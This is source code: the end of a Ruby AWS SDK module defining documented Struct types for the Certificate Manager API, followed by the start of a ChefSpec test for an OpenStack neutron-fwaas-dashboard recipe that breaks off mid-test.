type is `AMAZON_ISSUED`. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/acm-renewal.html # @return [Types::RenewalSummary] # # @!attribute [rw] key_usages # A list of Key Usage X.509 v3 extension objects. Each object is a # string value that identifies the purpose of the public key contained # in the certificate. Possible extension values include # DIGITAL\_SIGNATURE, KEY\_ENCHIPHERMENT, NON\_REPUDIATION, and more. # @return [Array<Types::KeyUsage>] # # @!attribute [rw] extended_key_usages # Contains a list of Extended Key Usage X.509 v3 extension objects. # Each object specifies a purpose for which the certificate public key # can be used and consists of a name and an object identifier (OID). # @return [Array<Types::ExtendedKeyUsage>] # # @!attribute [rw] certificate_authority_arn # The Amazon Resource Name (ARN) of the ACM PCA private certificate # authority (CA) that issued the certificate. This has the following # format: # # `arn:aws:acm-pca:region:account:certificate-authority/12345678-1234-1234-1234-123456789012` # @return [String] # # @!attribute [rw] renewal_eligibility # Specifies whether the certificate is eligible for renewal. At this # time, only exported private certificates can be renewed with the # RenewCertificate command. # @return [String] # # @!attribute [rw] options # Value that specifies whether to add the certificate to a # transparency log. Certificate transparency makes it possible to # detect SSL certificates that have been mistakenly or maliciously # issued. A browser might respond to certificate that has not been # logged by showing an error message. The logs are cryptographically # secure. # @return [Types::CertificateOptions] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/CertificateDetail AWS API Documentation # class CertificateDetail < Struct.new( :certificate_arn, :domain_name, :subject_alternative_names, :domain_validation_options, :serial, :subject, :issuer, :created_at, :issued_at, :imported_at, :status, :revoked_at, :revocation_reason, :not_before, :not_after, :key_algorithm, :signature_algorithm, :in_use_by, :failure_reason, :type, :renewal_summary, :key_usages, :extended_key_usages, :certificate_authority_arn, :renewal_eligibility, :options) include Aws::Structure end # Structure that contains options for your certificate. Currently, you # can use this only to specify whether to opt in to or out of # certificate transparency logging. Some browsers require that public # certificates issued for your domain be recorded in a log. Certificates # that are not logged typically generate a browser error. Transparency # makes it possible for you to detect SSL/TLS certificates that have # been mistakenly or maliciously issued for your domain. For general # information, see [Certificate Transparency Logging][1]. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/acm-concepts.html#concept-transparency # # @note When making an API call, you may pass CertificateOptions # data as a hash: # # { # certificate_transparency_logging_preference: "ENABLED", # accepts ENABLED, DISABLED # } # # @!attribute [rw] certificate_transparency_logging_preference # You can opt out of certificate transparency logging by specifying # the `DISABLED` option. Opt in by specifying `ENABLED`. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/CertificateOptions AWS API Documentation # class CertificateOptions < Struct.new( :certificate_transparency_logging_preference) include Aws::Structure end # This structure is returned in the response object of ListCertificates # action. # # @!attribute [rw] certificate_arn # Amazon Resource Name (ARN) of the certificate. This is of the form: # # `arn:aws:acm:region:123456789012:certificate/12345678-1234-1234-1234-123456789012` # # For more information about ARNs, see [Amazon Resource Names (ARNs) # and AWS Service Namespaces][1]. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @!attribute [rw] domain_name # Fully qualified domain name (FQDN), such as www.example.com or # example.com, for the certificate. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/CertificateSummary AWS API Documentation # class CertificateSummary < Struct.new( :certificate_arn, :domain_name) include Aws::Structure end # @note When making an API call, you may pass DeleteCertificateRequest # data as a hash: # # { # certificate_arn: "Arn", # required # } # # @!attribute [rw] certificate_arn # String that contains the ARN of the ACM certificate to be deleted. # This must be of the form: # # `arn:aws:acm:region:123456789012:certificate/12345678-1234-1234-1234-123456789012` # # For more information about ARNs, see [Amazon Resource Names (ARNs) # and AWS Service Namespaces][1]. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/DeleteCertificateRequest AWS API Documentation # class DeleteCertificateRequest < Struct.new( :certificate_arn) include Aws::Structure end # @note When making an API call, you may pass DescribeCertificateRequest # data as a hash: # # { # certificate_arn: "Arn", # required # } # # @!attribute [rw] certificate_arn # The Amazon Resource Name (ARN) of the ACM certificate. The ARN must # have the following form: # # `arn:aws:acm:region:123456789012:certificate/12345678-1234-1234-1234-123456789012` # # For more information about ARNs, see [Amazon Resource Names (ARNs) # and AWS Service Namespaces][1]. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/DescribeCertificateRequest AWS API Documentation # class DescribeCertificateRequest < Struct.new( :certificate_arn) include Aws::Structure end # @!attribute [rw] certificate # Metadata about an ACM certificate. # @return [Types::CertificateDetail] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/DescribeCertificateResponse AWS API Documentation # class DescribeCertificateResponse < Struct.new( :certificate) include Aws::Structure end # Contains information about the validation of each domain name in the # certificate. # # @!attribute [rw] domain_name # A fully qualified domain name (FQDN) in the certificate. For # example, `www.example.com` or `example.com`. # @return [String] # # @!attribute [rw] validation_emails # A list of email addresses that ACM used to send domain validation # emails. # @return [Array<String>] # # @!attribute [rw] validation_domain # The domain name that ACM used to send domain validation emails. # @return [String] # # @!attribute [rw] validation_status # The validation status of the domain name. This can be one of the # following values: # # * `PENDING_VALIDATION` # # * ``SUCCESS # # * ``FAILED # @return [String] # # @!attribute [rw] resource_record # Contains the CNAME record that you add to your DNS database for # domain validation. For more information, see [Use DNS to Validate # Domain Ownership][1]. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/gs-acm-validate-dns.html # @return [Types::ResourceRecord] # # @!attribute [rw] validation_method # Specifies the domain validation method. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/DomainValidation AWS API Documentation # class DomainValidation < Struct.new( :domain_name, :validation_emails, :validation_domain, :validation_status, :resource_record, :validation_method) include Aws::Structure end # Contains information about the domain names that you want ACM to use # to send you emails that enable you to validate domain ownership. # # @note When making an API call, you may pass DomainValidationOption # data as a hash: # # { # domain_name: "DomainNameString", # required # validation_domain: "DomainNameString", # required # } # # @!attribute [rw] domain_name # A fully qualified domain name (FQDN) in the certificate request. # @return [String] # # @!attribute [rw] validation_domain # The domain name that you want ACM to use to send you validation # emails. This domain name is the suffix of the email addresses that # you want ACM to use. This must be the same as the `DomainName` value # or a superdomain of the `DomainName` value. For example, if you # request a certificate for `testing.example.com`, you can specify # `example.com` for this value. In that case, ACM sends domain # validation emails to the following five addresses: # # * [email protected] # # * [email protected] # # * [email protected] # # * [email protected] # # * [email protected] # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/DomainValidationOption AWS API Documentation # class DomainValidationOption < Struct.new( :domain_name, :validation_domain) include Aws::Structure end # @note When making an API call, you may pass ExportCertificateRequest # data as a hash: # # { # certificate_arn: "Arn", # required # passphrase: "data", # required # } # # @!attribute [rw] certificate_arn # An Amazon Resource Name (ARN) of the issued certificate. This must # be of the form: # # `arn:aws:acm:region:account:certificate/12345678-1234-1234-1234-123456789012` # @return [String] # # @!attribute [rw] passphrase # Passphrase to associate with the encrypted exported private key. If # you want to later decrypt the private key, you must have the # passphrase. You can use the following OpenSSL command to decrypt a # private key: # # `openssl rsa -in encrypted_key.pem -out decrypted_key.pem` # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ExportCertificateRequest AWS API Documentation # class ExportCertificateRequest < Struct.new( :certificate_arn, :passphrase) include Aws::Structure end # @!attribute [rw] certificate # The base64 PEM-encoded certificate. # @return [String] # # @!attribute [rw] certificate_chain # The base64 PEM-encoded certificate chain. This does not include the # certificate that you are exporting. # @return [String] # # @!attribute [rw] private_key # The encrypted private key associated with the public key in the # certificate. The key is output in PKCS #8 format and is base64 # PEM-encoded. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ExportCertificateResponse AWS API Documentation # class ExportCertificateResponse < Struct.new( :certificate, :certificate_chain, :private_key) include Aws::Structure end # The Extended Key Usage X.509 v3 extension defines one or more purposes # for which the public key can be used. This is in addition to or in # place of the basic purposes specified by the Key Usage extension. # # @!attribute [rw] name # The name of an Extended Key Usage value. # @return [String] # # @!attribute [rw] oid # An object identifier (OID) for the extension value. OIDs are strings # of numbers separated by periods. The following OIDs are defined in # RFC 3280 and RFC 5280. # # * `1.3.6.1.5.5.7.3.1 (TLS_WEB_SERVER_AUTHENTICATION)` # # * `1.3.6.1.5.5.7.3.2 (TLS_WEB_CLIENT_AUTHENTICATION)` # # * `1.3.6.1.5.5.7.3.3 (CODE_SIGNING)` # # * `1.3.6.1.5.5.7.3.4 (EMAIL_PROTECTION)` # # * `1.3.6.1.5.5.7.3.8 (TIME_STAMPING)` # # * `1.3.6.1.5.5.7.3.9 (OCSP_SIGNING)` # # * `1.3.6.1.5.5.7.3.5 (IPSEC_END_SYSTEM)` # # * `1.3.6.1.5.5.7.3.6 (IPSEC_TUNNEL)` # # * `1.3.6.1.5.5.7.3.7 (IPSEC_USER)` # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ExtendedKeyUsage AWS API Documentation # class ExtendedKeyUsage < Struct.new( :name, :oid) include Aws::Structure end # This structure can be used in the ListCertificates action to filter # the output of the certificate list. # # @note When making an API call, you may pass Filters # data as a hash: # # { # extended_key_usage: ["TLS_WEB_SERVER_AUTHENTICATION"], # accepts TLS_WEB_SERVER_AUTHENTICATION, TLS_WEB_CLIENT_AUTHENTICATION, CODE_SIGNING, EMAIL_PROTECTION, TIME_STAMPING, OCSP_SIGNING, IPSEC_END_SYSTEM, IPSEC_TUNNEL, IPSEC_USER, ANY, NONE, CUSTOM # key_usage: ["DIGITAL_SIGNATURE"], # accepts DIGITAL_SIGNATURE, NON_REPUDIATION, KEY_ENCIPHERMENT, DATA_ENCIPHERMENT, KEY_AGREEMENT, CERTIFICATE_SIGNING, CRL_SIGNING, ENCIPHER_ONLY, DECIPHER_ONLY, ANY, CUSTOM # key_types: ["RSA_2048"], # accepts RSA_2048, RSA_1024, RSA_4096, EC_prime256v1, EC_secp384r1, EC_secp521r1 # } # # @!attribute [rw] extended_key_usage # Specify one or more ExtendedKeyUsage extension values. # @return [Array<String>] # # @!attribute [rw] key_usage # Specify one or more KeyUsage extension values. # @return [Array<String>] # # @!attribute [rw] key_types # Specify one or more algorithms that can be used to generate key # pairs. # @return [Array<String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/Filters AWS API Documentation # class Filters < Struct.new( :extended_key_usage, :key_usage, :key_types) include Aws::Structure end # @note When making an API call, you may pass GetCertificateRequest # data as a hash: # # { # certificate_arn: "Arn", # required # } # # @!attribute [rw] certificate_arn # String that contains a certificate ARN in the following format: # # `arn:aws:acm:region:123456789012:certificate/12345678-1234-1234-1234-123456789012` # # For more information about ARNs, see [Amazon Resource Names (ARNs) # and AWS Service Namespaces][1]. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/GetCertificateRequest AWS API Documentation # class GetCertificateRequest < Struct.new( :certificate_arn) include Aws::Structure end # @!attribute [rw] certificate # String that contains the ACM certificate represented by the ARN # specified at input. # @return [String] # # @!attribute [rw] certificate_chain # The certificate chain that contains the root certificate issued by # the certificate authority (CA). # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/GetCertificateResponse AWS API Documentation # class GetCertificateResponse < Struct.new( :certificate, :certificate_chain) include Aws::Structure end # @note When making an API call, you may pass ImportCertificateRequest # data as a hash: # # { # certificate_arn: "Arn", # certificate: "data", # required # private_key: "data", # required # certificate_chain: "data", # } # # @!attribute [rw] certificate_arn # The [Amazon Resource Name (ARN)][1] of an imported certificate to # replace. To import a new certificate, omit this field. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @!attribute [rw] certificate # The certificate to import. # @return [String] # # @!attribute [rw] private_key # The private key that matches the public key in the certificate. # @return [String] # # @!attribute [rw] certificate_chain # The PEM encoded certificate chain. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ImportCertificateRequest AWS API Documentation # class ImportCertificateRequest < Struct.new( :certificate_arn, :certificate, :private_key, :certificate_chain) include Aws::Structure end # @!attribute [rw] certificate_arn # The [Amazon Resource Name (ARN)][1] of the imported certificate. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ImportCertificateResponse AWS API Documentation # class ImportCertificateResponse < Struct.new( :certificate_arn) include Aws::Structure end # One or more of of request parameters specified is not valid. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/InvalidArgsException AWS API Documentation # class InvalidArgsException < Struct.new( :message) include Aws::Structure end # The requested Amazon Resource Name (ARN) does not refer to an existing # resource. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/InvalidArnException AWS API Documentation # class InvalidArnException < Struct.new( :message) include Aws::Structure end # One or more values in the DomainValidationOption structure is # incorrect. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/InvalidDomainValidationOptionsException AWS API Documentation # class InvalidDomainValidationOptionsException < Struct.new( :message) include Aws::Structure end # Processing has reached an invalid state. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/InvalidStateException AWS API Documentation # class InvalidStateException < Struct.new( :message) include Aws::Structure end # One or both of the values that make up the key-value pair is not # valid. For example, you cannot specify a tag value that begins with # `aws:`. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/InvalidTagException AWS API Documentation # class InvalidTagException < Struct.new( :message) include Aws::Structure end # The Key Usage X.509 v3 extension defines the purpose of the public key # contained in the certificate. # # @!attribute [rw] name # A string value that contains a Key Usage extension name. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/KeyUsage AWS API Documentation # class KeyUsage < Struct.new( :name) include Aws::Structure end # An ACM limit has been exceeded. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/LimitExceededException AWS API Documentation # class LimitExceededException < Struct.new( :message) include Aws::Structure end # @note When making an API call, you may pass ListCertificatesRequest # data as a hash: # # { # certificate_statuses: ["PENDING_VALIDATION"], # accepts PENDING_VALIDATION, ISSUED, INACTIVE, EXPIRED, VALIDATION_TIMED_OUT, REVOKED, FAILED # includes: { # extended_key_usage: ["TLS_WEB_SERVER_AUTHENTICATION"], # accepts TLS_WEB_SERVER_AUTHENTICATION, TLS_WEB_CLIENT_AUTHENTICATION, CODE_SIGNING, EMAIL_PROTECTION, TIME_STAMPING, OCSP_SIGNING, IPSEC_END_SYSTEM, IPSEC_TUNNEL, IPSEC_USER, ANY, NONE, CUSTOM # key_usage: ["DIGITAL_SIGNATURE"], # accepts DIGITAL_SIGNATURE, NON_REPUDIATION, KEY_ENCIPHERMENT, DATA_ENCIPHERMENT, KEY_AGREEMENT, CERTIFICATE_SIGNING, CRL_SIGNING, ENCIPHER_ONLY, DECIPHER_ONLY, ANY, CUSTOM # key_types: ["RSA_2048"], # accepts RSA_2048, RSA_1024, RSA_4096, EC_prime256v1, EC_secp384r1, EC_secp521r1 # }, # next_token: "NextToken", # max_items: 1, # } # # @!attribute [rw] certificate_statuses # Filter the certificate list by status value. # @return [Array<String>] # # @!attribute [rw] includes # Filter the certificate list. For more information, see the Filters # structure. # @return [Types::Filters] # # @!attribute [rw] next_token # Use this parameter only when paginating results and only in a # subsequent request after you receive a response with truncated # results. Set it to the value of `NextToken` from the response you # just received. # @return [String] # # @!attribute [rw] max_items # Use this parameter when paginating results to specify the maximum # number of items to return in the response. If additional items exist # beyond the number you specify, the `NextToken` element is sent in # the response. Use this `NextToken` value in a subsequent request to # retrieve additional items. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ListCertificatesRequest AWS API Documentation # class ListCertificatesRequest < Struct.new( :certificate_statuses, :includes, :next_token, :max_items) include Aws::Structure end # @!attribute [rw] next_token # When the list is truncated, this value is present and contains the # value to use for the `NextToken` parameter in a subsequent # pagination request. # @return [String] # # @!attribute [rw] certificate_summary_list # A list of ACM certificates. # @return [Array<Types::CertificateSummary>] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ListCertificatesResponse AWS API Documentation # class ListCertificatesResponse < Struct.new( :next_token, :certificate_summary_list) include Aws::Structure end # @note When making an API call, you may pass ListTagsForCertificateRequest # data as a hash: # # { # certificate_arn: "Arn", # required # } # # @!attribute [rw] certificate_arn # String that contains the ARN of the ACM certificate for which you # want to list the tags. This must have the following form: # # `arn:aws:acm:region:123456789012:certificate/12345678-1234-1234-1234-123456789012` # # For more information about ARNs, see [Amazon Resource Names (ARNs) # and AWS Service Namespaces][1]. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ListTagsForCertificateRequest AWS API Documentation # class ListTagsForCertificateRequest < Struct.new( :certificate_arn) include Aws::Structure end # @!attribute [rw] tags # The key-value pairs that define the applied tags. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ListTagsForCertificateResponse AWS API Documentation # class ListTagsForCertificateResponse < Struct.new( :tags) include Aws::Structure end # @note When making an API call, you may pass RemoveTagsFromCertificateRequest # data as a hash: # # { # certificate_arn: "Arn", # required # tags: [ # required # { # key: "TagKey", # required # value: "TagValue", # }, # ], # } # # @!attribute [rw] certificate_arn # String that contains the ARN of the ACM Certificate with one or more # tags that you want to remove. This must be of the form: # # `arn:aws:acm:region:123456789012:certificate/12345678-1234-1234-1234-123456789012` # # For more information about ARNs, see [Amazon Resource Names (ARNs) # and AWS Service Namespaces][1]. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @!attribute [rw] tags # The key-value pair that defines the tag to remove. # @return [Array<Types::Tag>] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/RemoveTagsFromCertificateRequest AWS API Documentation # class RemoveTagsFromCertificateRequest < Struct.new( :certificate_arn, :tags) include Aws::Structure end # @note When making an API call, you may pass RenewCertificateRequest # data as a hash: # # { # certificate_arn: "Arn", # required # } # # @!attribute [rw] certificate_arn # String that contains the ARN of the ACM certificate to be renewed. # This must be of the form: # # `arn:aws:acm:region:123456789012:certificate/12345678-1234-1234-1234-123456789012` # # For more information about ARNs, see [Amazon Resource Names (ARNs) # and AWS Service Namespaces][1]. # # # # [1]: https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/RenewCertificateRequest AWS API Documentation # class RenewCertificateRequest < Struct.new( :certificate_arn) include Aws::Structure end # Contains information about the status of ACM's [managed renewal][1] # for the certificate. This structure exists only when the certificate # type is `AMAZON_ISSUED`. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/acm-renewal.html # # @!attribute [rw] renewal_status # The status of ACM's [managed renewal][1] of the certificate. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/acm-renewal.html # @return [String] # # @!attribute [rw] domain_validation_options # Contains information about the validation of each domain name in the # certificate, as it pertains to ACM's [managed renewal][1]. This is # different from the initial validation that occurs as a result of the # RequestCertificate request. This field exists only when the # certificate type is `AMAZON_ISSUED`. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/acm-renewal.html # @return [Array<Types::DomainValidation>] # # @!attribute [rw] renewal_status_reason # The reason that a renewal request was unsuccessful. # @return [String] # # @!attribute [rw] updated_at # The time at which the renewal summary was last updated. # @return [Time] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/RenewalSummary AWS API Documentation # class RenewalSummary < Struct.new( :renewal_status, :domain_validation_options, :renewal_status_reason, :updated_at) include Aws::Structure end # @note When making an API call, you may pass RequestCertificateRequest # data as a hash: # # { # domain_name: "DomainNameString", # required # validation_method: "EMAIL", # accepts EMAIL, DNS # subject_alternative_names: ["DomainNameString"], # idempotency_token: "IdempotencyToken", # domain_validation_options: [ # { # domain_name: "DomainNameString", # required # validation_domain: "DomainNameString", # required # }, # ], # options: { # certificate_transparency_logging_preference: "ENABLED", # accepts ENABLED, DISABLED # }, # certificate_authority_arn: "Arn", # } # # @!attribute [rw] domain_name # Fully qualified domain name (FQDN), such as www.example.com, that # you want to secure with an ACM certificate. Use an asterisk (*) to # create a wildcard certificate that protects several sites in the # same domain. For example, *.example.com protects www.example.com, # site.example.com, and images.example.com. # # The first domain name you enter cannot exceed 63 octets, including # periods. Each subsequent Subject Alternative Name (SAN), however, # can be up to 253 octets in length. # @return [String] # # @!attribute [rw] validation_method # The method you want to use if you are requesting a public # certificate to validate that you own or control domain. You can # [validate with DNS][1] or [validate with email][2]. We recommend # that you use DNS validation. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/gs-acm-validate-dns.html # [2]: https://docs.aws.amazon.com/acm/latest/userguide/gs-acm-validate-email.html # @return [String] # # @!attribute [rw] subject_alternative_names # Additional FQDNs to be included in the Subject Alternative Name # extension of the ACM certificate. For example, add the name # www.example.net to a certificate for which the `DomainName` field is # www.example.com if users can reach your site by using either name. # The maximum number of domain names that you can add to an ACM # certificate is 100. However, the initial limit is 10 domain names. # If you need more than 10 names, you must request a limit increase. # For more information, see [Limits][1]. # # The maximum length of a SAN DNS name is 253 octets. The name is made # up of multiple labels separated by periods. No label can be longer # than 63 octets. Consider the following examples: # # * `(63 octets).(63 octets).(63 octets).(61 octets)` is legal because # the total length is 253 octets (63+1+63+1+63+1+61) and no label # exceeds 63 octets. # # * `(64 octets).(63 octets).(63 octets).(61 octets)` is not legal # because the total length exceeds 253 octets (64+1+63+1+63+1+61) # and the first label exceeds 63 octets. # # * `(63 octets).(63 octets).(63 octets).(62 octets)` is not legal # because the total length of the DNS name (63+1+63+1+63+1+62) # exceeds 253 octets. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/acm-limits.html # @return [Array<String>] # # @!attribute [rw] idempotency_token # Customer chosen string that can be used to distinguish between calls # to `RequestCertificate`. Idempotency tokens time out after one hour. # Therefore, if you call `RequestCertificate` multiple times with the # same idempotency token within one hour, ACM recognizes that you are # requesting only one certificate and will issue only one. If you # change the idempotency token for each call, ACM recognizes that you # are requesting multiple certificates. # @return [String] # # @!attribute [rw] domain_validation_options # The domain name that you want ACM to use to send you emails so that # you can validate domain ownership. # @return [Array<Types::DomainValidationOption>] # # @!attribute [rw] options # Currently, you can use this parameter to specify whether to add the # certificate to a certificate transparency log. Certificate # transparency makes it possible to detect SSL/TLS certificates that # have been mistakenly or maliciously issued. Certificates that have # not been logged typically produce an error message in a browser. For # more information, see [Opting Out of Certificate Transparency # Logging][1]. # # # # [1]: https://docs.aws.amazon.com/acm/latest/userguide/acm-bestpractices.html#best-practices-transparency # @return [Types::CertificateOptions] # # @!attribute [rw] certificate_authority_arn # The Amazon Resource Name (ARN) of the private certificate authority # (CA) that will be used to issue the certificate. If you do not # provide an ARN and you are trying to request a private certificate, # ACM will attempt to issue a public certificate. For more information # about private CAs, see the [AWS Certificate Manager Private # Certificate Authority (PCA)][1] user guide. The ARN must have the # following form: # # `arn:aws:acm-pca:region:account:certificate-authority/12345678-1234-1234-1234-123456789012` # # # # [1]: https://docs.aws.amazon.com/acm-pca/latest/userguide/PcaWelcome.html # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/RequestCertificateRequest AWS API Documentation # class RequestCertificateRequest < Struct.new( :domain_name, :validation_method, :subject_alternative_names, :idempotency_token, :domain_validation_options, :options, :certificate_authority_arn) include Aws::Structure end # @!attribute [rw] certificate_arn # String that contains the ARN of the issued certificate. This must be # of the form: # # `arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012` # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/RequestCertificateResponse AWS API Documentation # class RequestCertificateResponse < Struct.new( :certificate_arn) include Aws::Structure end # The certificate request is in process and the certificate in your # account has not yet been issued. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/RequestInProgressException AWS API Documentation # class RequestInProgressException < Struct.new( :message) include Aws::Structure end # @note When making an API call, you may pass ResendValidationEmailRequest # data as a hash: # # { # certificate_arn: "Arn", # required # domain: "DomainNameString", # required # validation_domain: "DomainNameString", # required # } # # @!attribute [rw] certificate_arn # String that contains the ARN of the requested certificate. The # certificate ARN is generated and returned by the RequestCertificate # action as soon as the request is made. By default, using this # parameter causes email to be sent to all top-level domains you # specified in the certificate request. The ARN must be of the form: # # `arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012` # @return [String] # # @!attribute [rw] domain # The fully qualified domain name (FQDN) of the certificate that needs # to be validated. # @return [String] # # @!attribute [rw] validation_domain # The base validation domain that will act as the suffix of the email # addresses that are used to send the emails. This must be the same as # the `Domain` value or a superdomain of the `Domain` value. For # example, if you requested a certificate for # `site.subdomain.example.com` and specify a **ValidationDomain** of # `subdomain.example.com`, ACM sends email to the domain registrant, # technical contact, and administrative contact in WHOIS and the # following five addresses: # # * [email protected] # # * [email protected] # # * [email protected] # # * [email protected] # # * [email protected] # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ResendValidationEmailRequest AWS API Documentation # class ResendValidationEmailRequest < Struct.new( :certificate_arn, :domain, :validation_domain) include Aws::Structure end # The certificate is in use by another AWS service in the caller's # account. Remove the association and try again. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ResourceInUseException AWS API Documentation # class ResourceInUseException < Struct.new( :message) include Aws::Structure end # The specified certificate cannot be found in the caller's account or # the caller's account cannot be found. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ResourceNotFoundException AWS API Documentation # class ResourceNotFoundException < Struct.new( :message) include Aws::Structure end # Contains a DNS record value that you can use to can use to validate # ownership or control of a domain. This is used by the # DescribeCertificate action. # # @!attribute [rw] name # The name of the DNS record to create in your domain. This is # supplied by ACM. # @return [String] # # @!attribute [rw] type # The type of DNS record. Currently this can be `CNAME`. # @return [String] # # @!attribute [rw] value # The value of the CNAME record to add to your DNS database. This is # supplied by ACM. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/ResourceRecord AWS API Documentation # class ResourceRecord < Struct.new( :name, :type, :value) include Aws::Structure end # A key-value pair that identifies or specifies metadata about an ACM # resource. # # @note When making an API call, you may pass Tag # data as a hash: # # { # key: "TagKey", # required # value: "TagValue", # } # # @!attribute [rw] key # The key of the tag. # @return [String] # # @!attribute [rw] value # The value of the tag. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/Tag AWS API Documentation # class Tag < Struct.new( :key, :value) include Aws::Structure end # The request contains too many tags. Try the request again with fewer # tags. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/TooManyTagsException AWS API Documentation # class TooManyTagsException < Struct.new( :message) include Aws::Structure end # @note When making an API call, you may pass UpdateCertificateOptionsRequest # data as a hash: # # { # certificate_arn: "Arn", # required # options: { # required # certificate_transparency_logging_preference: "ENABLED", # accepts ENABLED, DISABLED # }, # } # # @!attribute [rw] certificate_arn # ARN of the requested certificate to update. This must be of the # form: # # `arn:aws:acm:us-east-1:account:certificate/12345678-1234-1234-1234-123456789012 # ` # @return [String] # # @!attribute [rw] options # Use to update the options for your certificate. Currently, you can # specify whether to add your certificate to a transparency log. # Certificate transparency makes it possible to detect SSL/TLS # certificates that have been mistakenly or maliciously issued. # Certificates that have not been logged typically produce an error # message in a browser. # @return [Types::CertificateOptions] # # @see http://docs.aws.amazon.com/goto/WebAPI/acm-2015-12-08/UpdateCertificateOptionsRequest AWS API Documentation # class UpdateCertificateOptionsRequest < Struct.new( :certificate_arn, :options) include Aws::Structure end end end
36.010302
265
0.642364
ff3ccf9b25bdce015a87fe756360ab908145a9b7
2,115
# encoding: UTF-8 require_relative 'spec_helper' describe 'openstack-dashboard::neutron-fwaas-dashboard' do describe 'ubuntu' do let(:runner) { ChefSpec::SoloRunner.new(UBUNTU_OPTS) } let(:node) { runner.node } let(:chef_run) do runner.converge(described_recipe) end include_context 'non_redhat_stubs' include_context 'dashboard_stubs' it do expect(chef_run).to include_recipe('openstack-dashboard::horizon') end it do expect(chef_run).to install_python_package('neutron-fwaas-dashboard') end %w( _7010_project_firewalls_common.py _7011_project_firewalls_panel.py _7012_project_firewalls_v2_panel.py ).each do |file| it do expect(chef_run).to create_remote_file( "#{node['openstack']['dashboard']['django_path']}/openstack_dashboard/local/enabled/#{file}" ).with( mode: 0o0644, owner: 'root', source: "https://raw.githubusercontent.com/openstack/neutron-fwaas-dashboard/stable/queens/neutron_fwaas_dashboard/enabled/#{file}" ) end it do expect(chef_run.remote_file("#{node['openstack']['dashboard']['django_path']}/openstack_dashboard/local/enabled/#{file}")) .to notify('execute[openstack-dashboard collectstatic]').to(:run) notify('execute[neutron-fwaas-dashboard compilemessages]').to(:run) end end it do 